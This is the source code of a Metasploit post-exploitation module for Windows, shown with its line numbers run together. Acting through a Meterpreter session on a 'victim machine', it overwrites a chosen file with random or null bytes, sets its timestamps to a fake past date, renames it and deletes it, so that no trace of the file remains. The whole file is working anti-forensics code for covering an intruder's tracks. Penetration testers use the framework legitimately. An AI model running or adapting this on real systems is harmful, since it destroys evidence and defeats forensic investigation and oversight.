Path: blob/master/modules/post/windows/manage/sdel.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::File89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Manage Safe Delete',14'Description' => %q{15The goal of the module is to hinder the recovery of deleted files by overwriting16its contents. This could be useful when you need to download some file on the victim17machine and then delete it without leaving clues about its contents. Note that the script18does not wipe the free disk space so temporary/sparse/encrypted/compressed files could19not be overwritten. Note too that MTF entries are not overwritten so very small files20could stay resident within the stream descriptor.21},22'License' => BSD_LICENSE,23'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29priv_fs_set_file_mace30stdapi_fs_stat31stdapi_railgun_api32stdapi_sys_config_getenv33]34}35},36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [],39'Reliability' => []40}41)42)4344register_options([45OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]),46OptInt.new('ITERATIONS', [false, 'The number of overwrite passes', 1 ]),47OptString.new('FILE', [true, 'File to be deleted', ''])48])49end5051def run52type = 153n = datastore['ITERATIONS']54file = datastore['FILE']5556if datastore['ZERO']57type = 058print_status('The file will be overwritten with null bytes')59end6061if !file_exist?(file)62print_error("File #{file} does not exist")63return64elsif comp_encr(file)65print_status('File compress or encrypted. Content could not be overwritten!')66end67file_overwrite(file, type, n)68end6970# Function to calculate the size of the cluster71def size_cluster72drive = session.sys.config.getenv('SystemDrive')73r = session.railgun.kernel32.GetDiskFreeSpaceA(drive, 4, 4, 4, 4)74cluster = r['lpBytesPerSector'] * r['lpSectorsPerCluster']75print_status("Cluster Size: #{cluster}")7677return cluster78end7980# Function to calculate the real file size on disk (file size + slack space)81def size_on_disk(file)82size_file = session.fs.file.stat(file).size83print_status("Size of the file: #{size_file}")8485if (size_file < 800)86print_status("The file is too small. If it's store in the MTF (NTFS) sdel will not overwrite it!")87end8889cluster_size = size_cluster90size_ = size_file.divmod(cluster_size)9192if size_.last != 093real_size = (size_.first * cluster_size) + cluster_size94else95real_size = size_.first * cluster_size96end9798print_status("Size on disk: #{real_size}")99return real_size100end101102# Change MACE attributes. Get a fake date by subtracting N days from the current date103def change_mace(file)104rsec = Rex::Text.rand_text_numeric(7, '012')105date = Time.now - rsec.to_i106print_status('Changing MACE attributes')107session.priv.fs.set_file_mace(file, date, date, date, date)108end109110# Function to overwrite the file111def file_overwrite(file, type, num)112# FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk113r = session.railgun.kernel32.CreateFileA(file, 'GENERIC_WRITE', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH', 0)114handle = r['return']115real_size = size_on_disk(file)116117if type == 0118random = "\0" * real_size119end120121i = 0122num.times do123i += 1124print_status("Iteration #{i}/#{num}:")125126if type == 1127random = Rex::Text.rand_text(real_size, nil)128end129130# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx131session.railgun.kernel32.SetFilePointer(handle, 0, nil, 'FILE_BEGIN')132133# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx134w = session.railgun.kernel32.WriteFile(handle, random, real_size, 4, nil)135136if w['return'] == false137print_error('The was an error writing to disk, check permissions')138return139end140141print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")142end143144session.railgun.kernel32.CloseHandle(handle)145change_mace(file)146147# Generate a long random file name before delete it148newname = Rex::Text.rand_text_alpha(200, nil)149print_status('Changing file name')150151# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx152session.railgun.kernel32.MoveFileA(file, newname)153154file_rm(newname)155print_good('File erased!')156end157158# Check if the file is encrypted or compressed159def comp_encr(file)160# http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx161handle = session.railgun.kernel32.GetFileAttributesA(file)162type = handle['return']163164# FILE_ATTRIBUTE_COMPRESSED=0x800165# FILE_ATTRIBUTE_ENCRYPTED=0x4000166if (type & (0x4800)).nonzero?167return true168end169170return false171end172end173174175